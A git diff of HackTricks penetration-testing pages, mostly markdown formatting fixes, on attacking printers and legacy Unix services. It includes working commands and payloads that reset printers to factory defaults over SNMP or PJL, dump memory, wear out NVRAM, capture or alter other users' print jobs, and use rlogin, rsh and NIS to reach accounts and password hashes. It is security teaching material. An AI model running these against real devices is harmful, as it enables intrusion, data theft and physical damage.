1.3.6.1.2.1.43.5.1.1.3.1**) which allows an attacker to restart the device (powerCycleReset(4)), reset the NVRAM settings (resetToNVRAM(5)) or restore factory defaults (resetToFactoryDefaults(6)) using SNMP. This feature/attack is **supported by a large variety of printers** and removes all protection mechanisms like user-set passwords for the embedded web server. While protection mechanisms can be efficiently bypassed, a practical drawback of this approach is that all **static IP address configuration will be lost**. **If no DHCP** service is available, the attacker will **not **be able to **reconnect **to the device anymore after resetting it to factory defaults. -**Resetting the device to factory default** can be accomplished using `snmpset` command as shown below \(you need to know the **community string**, by default in most cases is `public`\): +**Resetting the device to factory default** can be accomplished using `snmpset `command as shown below (you need to know the **community string**, by default in most cases is `public`): ```bash snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6 @@ -18,7 +18,7 @@ snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6 #### [PML](./#pml)/[PJL](./#pjl) -In many scenarios an attacker does not have the capabilities to perform SNMP requests because of firewalls or unknown SNMP community strings. On **HP devices** however, **SNMP** can be transformed into its **PML representation** and embed the request within a legitimate print job. This allows an attacker to **restart and/or reset the device** to factory defaults within ordinary print jobs as shown below: +In many scenarios an attacker does not have the capabilities to perform SNMP requests because of firewalls or unknown SNMP community strings. On **HP devices **however, **SNMP **can be transformed into its **PML representation** and embed the request within a legitimate print job. This allows an attacker to **restart and/or reset the device** to factory defaults within ordinary print jobs as shown below: ```bash @PJL DMCMD ASCIIHEX="040006020501010301040106" @@ -37,7 +37,7 @@ printer:/> restart #### PostScript -PostScript offers a similar feature: The **FactoryDefaults** system parameter, ‘a flag that, if **set to true** **immediately before** the **printer is turned off**, causes all nonvolatile parameters to revert to their **factory default** values at the next power-on’. It must be noted that **PostScript** itself also has the capability to **restart** its **environment** but it requires a **valid password**. +PostScript offers a similar feature: The **FactoryDefaults **system parameter, ‘a flag that, if **set to true** **immediately before **the **printer is turned off**, causes all nonvolatile parameters to revert to their **factory default **values at the next power-on’. It must be noted that **PostScript **itself also has the capability to **restart **its **environment **but it requires a **valid password**. \ The PostScript interpreter however can be put into an **infinite loop** as discussed in [document processing](http://hacking-printers.net/wiki/index.php/Document_processing) DoS attacks which forces the user to **manually restart** the device and thus reset the PostScript password. Reset PostScript system parameters to factory defaults: @@ -65,7 +65,7 @@ printer:/> restart #### PRESCRIBE -For **Kyocera devices**, the **PRESCRIBE page** description languages may be used to **reset the device** to factory default from within ordinary print jobs using one of the commands shown below: +For **Kyocera devices**, the **PRESCRIBE page **description languages may be used to **reset the device** to factory default from within ordinary print jobs using one of the commands shown below: ```bash !R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password"; @@ -75,4 +75,3 @@ For **Kyocera devices**, the **PRESCRIBE page** description languages may be use ``` To reproduce this attack open a raw network connection to port 9100/tcp of the printer and **send the commands documented above**. - diff --git a/pentesting/pentesting-printers/file-system-access.md b/pentesting/pentesting-printers/file-system-access.md index 0e1ecf55..e51df730 100644 --- a/pentesting/pentesting-printers/file-system-access.md +++ b/pentesting/pentesting-printers/file-system-access.md @@ -2,9 +2,9 @@ ### **PostScript** -Retrieve sensitive information like configuration files or stored print jobs, RCE by writting files \(like editing rc scripts or replacing binary files\). Legitimate language constructs are defined for **PostScript** and **PJL** to **access the filesystem**. +Retrieve sensitive information like configuration files or stored print jobs, RCE by writting files (like editing rc scripts or replacing binary files). Legitimate language constructs are defined for **PostScript **and **PJL **to **access the filesystem**. -Access the file system with PostScript \(note that it could be sandboxed limiting to harmless actions\): +Access the file system with PostScript (note that it could be sandboxed limiting to harmless actions): ```bash > /str 256 string def (%*%../*) % list all files @@ -28,7 +28,7 @@ Access the file system with PostScript \(note that it could be sandboxed limitin You can use [PRET ](https://github.com/RUB-NDS/PRET)commands: `ls`, `get`, `put`, `append`, `delete`, `rename`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` and `df` : -```text +``` ./pret.py -q printer ps Connection to printer established @@ -45,7 +45,7 @@ d - Jan 1 1970 (created Jan 1 1970) webServer ### PJL -```text +``` > @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files) < .\:\:TYPE=DIR < ..\:\:TYPE=DIR @@ -67,7 +67,7 @@ Anyway accessing files with PJL is not supported by many printers. You can use [PRET ](https://github.com/RUB-NDS/PRET)commands: `ls`, `get`, `put`, `append`, `delete`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` and `df` : -```text +``` ./pret.py -q printer pjl Connection to printer established @@ -84,5 +84,4 @@ d - webServer d - xps ``` -**Learn more about possible sandbox bypasses using PostScript and PJL limitations in** [**http://hacking-printers.net/wiki/index.php/File\_system\_access**](http://hacking-printers.net/wiki/index.php/File_system_access)\*\*\*\* - +**Learn more about possible sandbox bypasses using PostScript and PJL limitations in **[**http://hacking-printers.net/wiki/index.php/File_system_access**](http://hacking-printers.net/wiki/index.php/File_system_access)**** diff --git a/pentesting/pentesting-printers/memory-access.md b/pentesting/pentesting-printers/memory-access.md index 4c1aa72a..98f5b57c 100644 --- a/pentesting/pentesting-printers/memory-access.md +++ b/pentesting/pentesting-printers/memory-access.md @@ -1,8 +1,8 @@ # Memory Access -**You can try to dump the NVRAM and extract confidential info \(as passwords\) from there.** +**You can try to dump the NVRAM and extract confidential info (as passwords) from there.** -In **PJL \(Brother\)** you can access **arbitrary NVRAM addresses** using PJL as shown below: +In **PJL (Brother)** you can access **arbitrary NVRAM addresses **using PJL as shown below: ```bash @PJL RNVRAM ADDRESS = X # read byte at location X @@ -24,9 +24,9 @@ Writing copy to nvram/printer ................................................................................ ``` -Certain **Xerox printer models** have a proprietary **PostScript** `vxmemfetch` operator built into, which allows an attacker to read arbitrary memory addresses. Using a PostScript loop, this feature can be easily used to dump the whole memory as show below \(PRET doesn't have this attack so you will need to send this payload to the port 9100 in a `nc` connection\): +Certain** Xerox printer models** have a proprietary **PostScript **`vxmemfetch` operator built into, which allows an attacker to read arbitrary memory addresses. Using a PostScript loop, this feature can be easily used to dump the whole memory as show below (PRET doesn't have this attack so you will need to send this payload to the port 9100 in a `nc` connection): -```text +``` /counter 0 def 50000 { /counter counter 1 add def currentdict /RRCustomProcs /ProcSet findresource begin @@ -34,5 +34,4 @@ Certain **Xerox printer models** have a proprietary **PostScript** `vxmemfetch` } repeat ``` -**More information here:** [**http://hacking-printers.net/wiki/index.php/Memory\_access**](http://hacking-printers.net/wiki/index.php/Memory_access)\*\*\*\* - +**More information here: **[**http://hacking-printers.net/wiki/index.php/Memory_access**](http://hacking-printers.net/wiki/index.php/Memory_access)**** diff --git a/pentesting/pentesting-printers/physical-damage.md b/pentesting/pentesting-printers/physical-damage.md index 31a5dc18..fc89a16c 100644 --- a/pentesting/pentesting-printers/physical-damage.md +++ b/pentesting/pentesting-printers/physical-damage.md @@ -1,12 +1,12 @@ # Physical Damage - Long-term settings for printers and other embedded devices are stored in non-volatile memory \([NVRAM](https://en.wikipedia.org/wiki/Non-volatile_random-access_memory)\) which is traditionally implemented either as [EEPROM](https://en.wikipedia.org/wiki/EEPROM) or as [flash memory](https://en.wikipedia.org/wiki/Flash_memory). Both components have a limited lifetime. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur. + Long-term settings for printers and other embedded devices are stored in non-volatile memory ([NVRAM](https://en.wikipedia.org/wiki/Non-volatile_random-access_memory)) which is traditionally implemented either as [EEPROM](https://en.wikipedia.org/wiki/EEPROM) or as [flash memory](https://en.wikipedia.org/wiki/Flash_memory). Both components have a limited lifetime. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur. ### PJL For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for `X`: -```text +``` @PJL DEFAULT COPIES=X ``` @@ -14,7 +14,7 @@ Usually, before stop allowing writing anymore NVRAM parameters are fixed to the Using [PRET](https://github.com/RUB-NDS/PRET): -```text +``` ./pret.py -q printer pjl Connection to printer established @@ -31,10 +31,10 @@ NVRAM died after 543894 cycles, 18:46:11 ### PostScript -For PostScript, one needs to find an entry in the currentsystemparams dictionary which survives a reboot \(and therefore must be stored in some kind of NVRAM\). A good candidate would be a PostScript password. +For PostScript, one needs to find an entry in the currentsystemparams dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate would be a PostScript password.\ PostScript can run a script that corrupts its own NVRAM: -```text +``` /counter 0 def { << /Password counter 16 string cvs /SystemParamsPassword counter 1 add 16 string cvs @@ -42,5 +42,4 @@ PostScript can run a script that corrupts its own NVRAM: } loop ``` -**More information about these techniques can be found in** [**http://hacking-printers.net/wiki/index.php/Physical\_damage**](http://hacking-printers.net/wiki/index.php/Physical_damage)\*\*\*\* - +**More information about these techniques can be found in **[**http://hacking-printers.net/wiki/index.php/Physical_damage**](http://hacking-printers.net/wiki/index.php/Physical_damage)**** diff --git a/pentesting/pentesting-printers/print-job-manipulation.md b/pentesting/pentesting-printers/print-job-manipulation.md index 142586dd..768edf75 100644 --- a/pentesting/pentesting-printers/print-job-manipulation.md +++ b/pentesting/pentesting-printers/print-job-manipulation.md @@ -1,24 +1,24 @@ --- -description: 'From http://hacking-printers.net/wiki/index.php/Print_job_manipulation' +description: From http://hacking-printers.net/wiki/index.php/Print_job_manipulation --- # Print job manipulation ## Content Overlay -One simple way to manipulate the appearance of printouts is to **use** overlays. -[**PCL**](./#pcl) has a documented function to put **overlay macros** on top of a document. Unfortunately, this feature is **limited to the current print job** and cannot be made permanent. -[**PostScript** ](./#postscript-ps)does not offer such functionality by default, however it can be programmed into by **redefining the showpage** operator which is contained in every PostScript document to print the current page. The attacker can **hook in there**, execute her own code and then call the original version of the operator. -Therefore she can overlay all pages to be printed with a custom EPS file. This hack can be used to **add arbitrary graphics or fonts to hard copies of a document** \(It is possible to completely alter the appearance of a document by overlaying a blank page and then adding custom content\). -Obviously, such an approach can only be successful if PostScript is used as printer driver and no `StartJobPassword` is set. +One simple way to manipulate the appearance of printouts is to **use **overlays. \ +[**PCL**](./#pcl) has a documented function to put **overlay macros** on top of a document. Unfortunately, this feature is **limited to the current print job** and cannot be made permanent. \ +[**PostScript **](./#postscript-ps)does not offer such functionality by default, however it can be programmed into by **redefining the showpage** operator which is contained in every PostScript document to print the current page. The attacker can **hook in there**, execute her own code and then call the original version of the operator.\ +Therefore she can overlay all pages to be printed with a custom EPS file. This hack can be used to **add arbitrary graphics or fonts to hard copies of a document** (It is possible to completely alter the appearance of a document by overlaying a blank page and then adding custom content).\ +Obviously, such an approach can only be successful if PostScript is used as printer driver and no `StartJobPassword `is set. ![](http://hacking-printers.net/wiki/images/thumb/9/93/Overlay.jpg/300px-Overlay.jpg) **How to test for this attack?** -Use [**PRET**](https://github.com/RUB-NDS/PRET)'s `cross` or `overlay` commands in ps mode, then disconnect and print an arbitrary document: +Use [**PRET**](https://github.com/RUB-NDS/PRET)'s `cross` or `overlay `commands in ps mode, then disconnect and print an arbitrary document: -```text +``` ./pret.py -q printer ps Connection to printer established @@ -30,16 +30,16 @@ printer:/> exit ## Content Replacement -Even if an attacker can put an overlay above existing documents, she will not be able to **alter specific values** in the original document unless its exact structure is known. Sometimes ones does not only want to add custom content, but to **parse and replace parts** of the existing document. -The problem of replacing text in PostScript files can be reduced to the **problem of extracting strings** from the rendered document. This is not trivial, because strings can be dynamically built by the PostScript program itself. Hence, simple parsing and replacing within the document source code is not an option. -You can use a **redefined `show` operator**. The show operator accepts a string as input, which is painted to a certain location of the current page. By redefining the operator, **text** can elegantly be **extracted**. This approach can also be used for targeted **searching and replacing** in strings immediately **before** they are **painted**. -The approach is **successful** for **LaTeX** based PostScript documents which are directly sent to the printer while it **fails** for PostScript files generated by **GIMP** which instead of strings **creates raster graphics** of their representation. The same issue occurs for any document format – even PostScript itself – when processed by CUPS. Theoretically such language constructs could also be parsed and should be subject of further research. +Even if an attacker can put an overlay above existing documents, she will not be able to **alter specific values** in the original document unless its exact structure is known. Sometimes ones does not only want to add custom content, but to **parse and replace parts** of the existing document. \ +The problem of replacing text in PostScript files can be reduced to the** problem of extracting strings** from the rendered document. This is not trivial, because strings can be dynamically built by the PostScript program itself. Hence, simple parsing and replacing within the document source code is not an option.\ +You can use a **redefined `show `operator**. The show operator accepts a string as input, which is painted to a certain location of the current page. By redefining the operator, **text** can elegantly be **extracted**. This approach can also be used for targeted **searching and replacing** in strings immediately **before **they are **painted**. \ +The approach is **successful **for **LaTeX **based PostScript documents which are directly sent to the printer while it **fails **for PostScript files generated by **GIMP **which instead of strings **creates raster graphics** of their representation. The same issue occurs for any document format – even PostScript itself – when processed by CUPS. Theoretically such language constructs could also be parsed and should be subject of further research. **How to test for this attack?** Use [**PRET**](https://github.com/RUB-NDS/PRET)'s `replace` command in ps mode, then disconnect and print a PostScript document containing ‘DEF’: -```text +``` ./pret.py -q printer ps Connection to printer established @@ -47,4 +47,3 @@ Welcome to the pret shell. Type help or ? to list commands. printer:/> replace "ABC" "DEF" printer:/> exit ``` - diff --git a/pentesting/pentesting-printers/print-job-retention.md b/pentesting/pentesting-printers/print-job-retention.md index 9ba8d79b..c4e69226 100644 --- a/pentesting/pentesting-printers/print-job-retention.md +++ b/pentesting/pentesting-printers/print-job-retention.md @@ -1,5 +1,5 @@ --- -description: 'From http://hacking-printers.net/wiki/index.php/Print_job_retention' +description: From http://hacking-printers.net/wiki/index.php/Print_job_retention --- # Print Job Retention @@ -12,7 +12,7 @@ Some printers have stored print jobs accessible from the web server. Usually how Legitimate job retention can be enabled for the current document by setting the PJL HOLD variable as shown below: -```text +``` @PJL SET HOLD=ON [actual data to be printed follows] ``` @@ -21,9 +21,9 @@ Hold jobs are kept in memory and can be reprinted from the printer's control pan **How to test for this attack?** -Use `hold`command from [**PRET** ](https://github.com/RUB-NDS/PRET)in pjl mode and to check if permanent job retention can be set: +Use `hold`command from [**PRET **](https://github.com/RUB-NDS/PRET)in pjl mode and to check if permanent job retention can be set: -```text +``` ./pret.py -q printer pjl Connection to printer established @@ -37,7 +37,7 @@ Retention for future print jobs: OFF PostScript offers similar functionality which however is model- and vendor-specific. For the HP LaserJet 4k series and various Kyocera printers, job retention can be enabled by prepending the following commands to a PostScript document: -```text +``` << /Collate true /CollateDetails << /Hold 1 /Type 8 >> >> setpagedevice ``` @@ -46,9 +46,9 @@ While it is theoretically possible to permanently enable PostScript job retentio **How to test for this attack?** -Use `hold`command from [**PRET** ](https://github.com/RUB-NDS/PRET) in ps mode: +Use `hold`command from [**PRET **](https://github.com/RUB-NDS/PRET) in ps mode: -```text +``` ./pret.py -q printer ps Connection to printer established @@ -63,12 +63,12 @@ It is possible but uncommon to activate job retention in the printing dialog as ### PostScript -With the capability to hook into arbitrary PostScript operators it is possible to manipulate and access foreign print jobs. To **parse the actual datastream send to the printer**, one can apply a pretty cool feature of the PostScript language: to read its own program code as data using the `currentfile` operator. This way, the whole datastream to be processed by the PostScript interpreter can be accessed by reading and stored to a file on the printer device. If the printer does not offer file system access, **captured documents can be stored in memory**, for example within permanent PostScript dictionaries. -One practical problem is to decide **which operator should be hooked** as one does not gain access to the datastream until this operator is processed by the PostScript interpreter. As an attacker wants to capture print jobs from the very beginning, the **redefined operator must be the very first operator** contained in the PostScript document. Fortunately all documents printed with CUPS are pressed into a fixed structure beginning with `currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`. Based on the assumption of such a fixed structure, the attacker can capture documents from the beginning and execute \(aka print\) the file afterwards. For printing systems **other than CUPS** this attack should also be possible, but **operators need to be adapted**. Note that the PostScript header which usually includes media size, user and job names cannot be captured using this method because we first hook into at the beginning of the actual document. Another generic strategy to hook into at the beginning of every print job is to set the `BeginPage` system parameter, if supported by the printer \(most printer do\). This vulnerability has presumably been present in printing devices for decades as solely language constructs defined by the PostScript standard are abused. +With the capability to hook into arbitrary PostScript operators it is possible to manipulate and access foreign print jobs. To **parse the actual datastream send to the printer**, one can apply a pretty cool feature of the PostScript language: to read its own program code as data using the `currentfile` operator. This way, the whole datastream to be processed by the PostScript interpreter can be accessed by reading and stored to a file on the printer device. If the printer does not offer file system access,** captured documents can be stored in memory**, for example within permanent PostScript dictionaries. \ +One practical problem is to decide **which operator should be hooked** as one does not gain access to the datastream until this operator is processed by the PostScript interpreter. As an attacker wants to capture print jobs from the very beginning, the **redefined operator must be the very first operator** contained in the PostScript document. Fortunately all documents printed with CUPS are pressed into a fixed structure beginning with `currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`. Based on the assumption of such a fixed structure, the attacker can capture documents from the beginning and execute (aka print) the file afterwards. For printing systems **other than CUPS** this attack should also be possible, but **operators need to be adapted**. Note that the PostScript header which usually includes media size, user and job names cannot be captured using this method because we first hook into at the beginning of the actual document. Another generic strategy to hook into at the beginning of every print job is to set the `BeginPage` system parameter, if supported by the printer (most printer do). This vulnerability has presumably been present in printing devices for decades as solely language constructs defined by the PostScript standard are abused. Use `capture` command from [**PRET**](https://github.com/RUB-NDS/PRET) in ps mode: -```text +``` ./pret.py -q printer ps Connection to printer established @@ -86,9 +86,9 @@ Future print jobs will be captured in memory! printer:/> exit ``` -Now, print arbitrary documents \(make sure PRET is disconnected to not block the printing channel\). Afterwards, you can list, fetch or reprint captured documents: +Now, print arbitrary documents (make sure PRET is disconnected to not block the printing channel). Afterwards, you can list, fetch or reprint captured documents: -```text +``` ./pret.py -q printer ps Connection to printer established @@ -111,4 +111,3 @@ printing... printer:/> capture stop Stopping job capture, deleting recorded jobs ``` - diff --git a/pentesting/pentesting-printers/scanner-and-fax.md b/pentesting/pentesting-printers/scanner-and-fax.md index 2fcbf19c..4f365399 100644 --- a/pentesting/pentesting-printers/scanner-and-fax.md +++ b/pentesting/pentesting-printers/scanner-and-fax.md @@ -1,16 +1,16 @@ --- -description: 'From http://hacking-printers.net/wiki/index.php/Fax_and_Scanner' +description: From http://hacking-printers.net/wiki/index.php/Fax_and_Scanner --- # Scanner and Fax ## Scanner -Access to scan functionality on MFPs \(multi-function printers/peripherals\) is not standardized and it seems only few vendors apply PJL commands for this task. Public documentation is missing, the [SANE project](http://www.sane-project.org/sane-backends.html#SCANNERS) managed to reverse engineer the protocols for various scanner devices. On Brother MFPs, the proprietary PostScript operator \_brpdfscan may possibly be used. +Access to scan functionality on MFPs (multi-function printers/peripherals) is not standardized and it seems only few vendors apply PJL commands for this task. Public documentation is missing, the [SANE project](http://www.sane-project.org/sane-backends.html#SCANNERS) managed to reverse engineer the protocols for various scanner devices. On Brother MFPs, the proprietary PostScript operator \_brpdfscan may possibly be used. **How to test for this attack?** -Install the printer drivers for the specific model and \(ab\)use the scan function. +Install the printer drivers for the specific model and (ab)use the scan function. **Who can perform this attack?** @@ -22,11 +22,11 @@ Install the printer drivers for the specific model and \(ab\)use the scan functi Fax messages are transmitted in the form of audio-frequency tones. They can be sent to any telefax-capable device available over the telephone system. Therefore, they could potentially be used to bypass typical company protection mechanisms like TCP/IP firewalls or intrusion detection systems and execute malicious commands on printers or MFPs in internal networks. In the middle of 90s Adobe introduced ‘PostScript fax’ as a language supplement [\[1\]](http://hacking-printers.net/wiki/index.php/Fax_and_Scanner#cite_note-1), allowing compatible devices to receive PostScript files directly via fax. This enables an attacker to use ordinary telephone system as a channel to deploy malicious PostScript code to a printer. Unfortunately, PostScript fax never established itself and was only implemented in a handful of devices. Telefax messages instead are typically transmitted as graphical images like [TIFF](https://en.wikipedia.org/wiki/TIFF#TIFF_Compression_Tag). Nevertheless, it cannot be ruled out that other vendors implement proprietary fax extensions to **inbound** receive arbitrary PDL datastreams instead of raw fax images. Theoretically, a ‘fax virus’ could be created which would spread by infecting other devices based on numbers from the MFPs's address book or by traditional wardialing. -Furthermore, **outbound** fax can often be controlled by proprietary PJL commands on today's MFPs. This can be used to cause financial loss to an institution by calling an 0900 number \(which may be registered by the attacker herself\) or as a backchannel to leak sensitive information. Vendor-specific examples to send fax via PDL datastreams are given below. +Furthermore, **outbound** fax can often be controlled by proprietary PJL commands on today's MFPs. This can be used to cause financial loss to an institution by calling an 0900 number (which may be registered by the attacker herself) or as a backchannel to leak sensitive information. Vendor-specific examples to send fax via PDL datastreams are given below. #### HP -According to [\[1\]](http://hplipopensource.com/) fax can be accessed using PML on HP devices. +According to [\[1\]](http://hplipopensource.com) fax can be accessed using PML on HP devices. #### Xerox @@ -34,7 +34,7 @@ According to [\[2\]](http://www.office.xerox.com/support/dctips/dc02cc0280.pdf), #### Brother -According to [\[3\]](http://brother-mfc.sourceforge.net/faxlanguage.txt), Brother uses the proprietary FCL \(Fax Control Language\): `DIALNUM[ (...) ]` +According to [\[3\]](http://brother-mfc.sourceforge.net/faxlanguage.txt), Brother uses the proprietary FCL (Fax Control Language): `DIALNUM[ (...) ]` #### Lexmark @@ -46,10 +46,9 @@ According to [\[5\]](http://material.karlov.mff.cuni.cz/people/hajek/bizhub/femp #### Ricoh -Accroding to [\[6\]](http://www.objectiflune.com/forum2/ubbthreads.php?ubb=showflat&Number=29462&page=1) Ricoh uses proprietary PJL commands: `@PJL ENTER LANGUAGE=RFAX` +Accroding to [\[6\]](http://www.objectiflune.com/forum2/ubbthreads.php?ubb=showflat\&Number=29462\&page=1) Ricoh uses proprietary PJL commands: `@PJL ENTER LANGUAGE=RFAX` - +\ **How to test for this attack?** -Install the printer drivers for the specific model and \(ab\)use the fax function. - +Install the printer drivers for the specific model and (ab)use the fax function. diff --git a/pentesting/pentesting-printers/transmission-channel.md b/pentesting/pentesting-printers/transmission-channel.md index 341ad569..ba2f2c27 100644 --- a/pentesting/pentesting-printers/transmission-channel.md +++ b/pentesting/pentesting-printers/transmission-channel.md @@ -31,8 +31,7 @@ TIMEOUT=15 [2 RANGE] 300 ``` -While the PJL reference specifies a maximum timeout of 300 seconds, in practice maximum PJL timeouts may range from 15 to 2147483 seconds. +While the PJL reference specifies a maximum timeout of 300 seconds, in practice maximum PJL timeouts may range from 15 to 2147483 seconds.\ Note that even print jobs received from other printing channels like IPP or LPD are not processed anymore as long as the connection is kept open. -**Learn more about this attack in** [**http://hacking-printers.net/wiki/index.php/Transmission\_channel**](http://hacking-printers.net/wiki/index.php/Transmission_channel)\*\*\*\* - +**Learn more about this attack in **[**http://hacking-printers.net/wiki/index.php/Transmission_channel**](http://hacking-printers.net/wiki/index.php/Transmission_channel)**** diff --git a/pentesting/pentesting-rlogin.md b/pentesting/pentesting-rlogin.md index a0554d5a..968f9765 100644 --- a/pentesting/pentesting-rlogin.md +++ b/pentesting/pentesting-rlogin.md @@ -4,20 +4,20 @@ This service was mostly used in the old days for remote administration but now because of security issues this service has been replaced by the slogin and the ssh. -**Default port:** 513 +**Default port: **513 -```text +``` PORT STATE SERVICE 513/tcp open login ``` ## **Login** -```text +``` apt-get install rsh-client ``` -This command will try to **login** to the remote host by using the login name **root** \(for this service **you don't need to know any password**\): +This command will try to **login **to the remote host by using the login name **root **(for this service **you don't need to know any password**): ``` rlogin -l @@ -27,7 +27,6 @@ rlogin -l ## Find files -```text +``` find / -name .rhosts ``` - diff --git a/pentesting/pentesting-rpcbind.md b/pentesting/pentesting-rpcbind.md index 09c1dced..9a5a2977 100644 --- a/pentesting/pentesting-rpcbind.md +++ b/pentesting/pentesting-rpcbind.md @@ -6,21 +6,21 @@ Provides information between Unix based systems. Port is often probed, it can be **Default port:** 111/TCP/UDP, 32771 in Oracle Solaris -```text +``` PORT STATE SERVICE 111/tcp open rpcbind ``` ## Enumeration -```text +``` rpcinfo irked.htb nmap -sSUC -p111 192.168.10.1 ``` Sometimes it doesn't give you any information, in other occasions you will get something like this: -![](../.gitbook/assets/image%20%2863%29.png) +![](<../.gitbook/assets/image (230).png>) ### Shodan @@ -28,9 +28,9 @@ Sometimes it doesn't give you any information, in other occasions you will get s ## RPCBind + NFS -If you find the service NFS then probably you will be able to list and download\(and maybe upload\) files: +If you find the service NFS then probably you will be able to list and download(and maybe upload) files: -![](../.gitbook/assets/image%20%28103%29.png) +![](<../.gitbook/assets/image (232).png>) Read[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) to learn more about how to test this protocol. @@ -38,11 +38,11 @@ Read[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) to learn more ab If you find the service `ypbind`running: -![](../.gitbook/assets/image%20%28313%29.png) +![](<../.gitbook/assets/image (233).png>) -You can try to exploit it. Anyway, first of all you will **need to guess the NIS "domain name"** of the machine \(when NIS is installed it's configured a "domain name"\) and **without knowing this domain name you cannot do anything**. +You can try to exploit it. Anyway, first of all you will **need to guess the NIS "domain name"** of the machine (when NIS is installed it's configured a "domain name") and **without knowing this domain name you cannot do anything**. -Upon obtaining the NIS domain name for the environment \(example.org in this case\), use the ypwhich command to ping the NIS server and ypcat to obtain sensitive material. You should feed encrypted password hashes into John the Ripper, and once cracked, you can use it to evaluate system access and privileges. +Upon obtaining the NIS domain name for the environment (example.org in this case), use the ypwhich command to ping the NIS server and ypcat to obtain sensitive material. You should feed encrypted password hashes into John the Ripper, and once cracked, you can use it to evaluate system access and privileges. ```bash root@kali:~# apt-get install nis @@ -57,25 +57,25 @@ dave:pzg1026SzQlwc:182:100::/export/home/dave:/bin/bash yumi:ZEadZ3ZaW4v9.:1377:160::/export/home/yumi:/bin/bash ``` -| **Master file** | **Map\(s\)** | **Notes** | -| :--- | :--- | :--- | -| /etc/hosts | hosts.byname, hosts.byaddr | Contains hostnames and IP details | -| /etc/passwd | passwd.byname, passwd.byuid | NIS user password file | -| /etc/group | group.byname, group.bygid | NIS group file | -| /usr/lib/aliases | mail.aliases | Details mail aliases | +| **Master file** | **Map(s)** | **Notes** | +| ---------------- | --------------------------- | --------------------------------- | +| /etc/hosts | hosts.byname, hosts.byaddr | Contains hostnames and IP details | +| /etc/passwd | passwd.byname, passwd.byuid | NIS user password file | +| /etc/group | group.byname, group.bygid | NIS group file | +| /usr/lib/aliases | mail.aliases | Details mail aliases | ## RPC Users If you find the **rusersd** service listed like this: -![](../.gitbook/assets/image%20%2814%29.png) +![](<../.gitbook/assets/image (231).png>) You could enumerate users of the box. To learn how read [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md). ## Bypass Filtered Portmapper port -If during a nmap scan you see open ports like NFS but the port 111 is filtered, you won't be able to exploit those ports. -But, if you can simulate a locally a portmapper service and you tunnel the NFS port from your machine to the victim one, you will be able to use regular tools to exploit those services. +If during a nmap scan you see open ports like NFS but the port 111 is filtered, you won't be able to exploit those ports.\ +But, if you can simulate a locally a portmapper service and you tunnel the NFS port from your machine to the victim one, you will be able to use regular tools to exploit those services.\ More information in [https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) ## Shodan @@ -84,7 +84,7 @@ More information in [https://medium.com/@sebnemK/how-to-bypass-filtered-portmapp ## HackTricks Automatic Commands -```text +``` Protocol_Name: Portmapper #Protocol Abbreviation if there is one. Port_Number: 43 #Comma separated if there is more than one. Protocol_Description: PM or RPCBind #Protocol Abbreviation Spelled out @@ -107,4 +107,3 @@ Entry_3: Description: May give netstat-type info Command: nmap -sSUC -p 111 {IP} ``` - diff --git a/pentesting/pentesting-rsh.md b/pentesting/pentesting-rsh.md index f787b851..59c91a76 100644 --- a/pentesting/pentesting-rsh.md +++ b/pentesting/pentesting-rsh.md @@ -2,22 +2,20 @@ ## Basic Information -**Rsh** use **.rhosts** files and **/etc/hosts.equiv** for authentication. These methods relied on IP addresses and DNS \(Domain Name System\) for authentication. However, spoofing IP addresses is fairly easy, especially if the attacker is on the local network. +**Rsh **use **.rhosts** files and **/etc/hosts.equiv** for authentication. These methods relied on IP addresses and DNS (Domain Name System) for authentication. However, spoofing IP addresses is fairly easy, especially if the attacker is on the local network. -Furthermore, the **.rhosts** files were stored in users' home directories, which were typically stored on NFS \(Network File System\) volumes. \(from here: [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)\). +Furthermore, the **.rhosts** files were stored in users' home directories, which were typically stored on NFS (Network File System) volumes. (from here: [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)). **Default port**: 514 ## Login -```text +``` rsh rsh -l domain\user rsh domain/user@ rsh domain\\user@ ``` -### [**Brute Force**](../brute-force.md#rsh)\*\*\*\* - - +### [**Brute Force**](../brute-force.md#rsh)**** diff --git a/pentesting/pentesting-smb.md b/pentesting/pentesting-smb.md index c27d56eb..28554ec2 100644 --- a/pentesting/pentesting-smb.md +++ b/pentesting/pentesting-smb.md @@ -1,18 +1,18 @@ # 139,445 - Pentesting SMB {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** 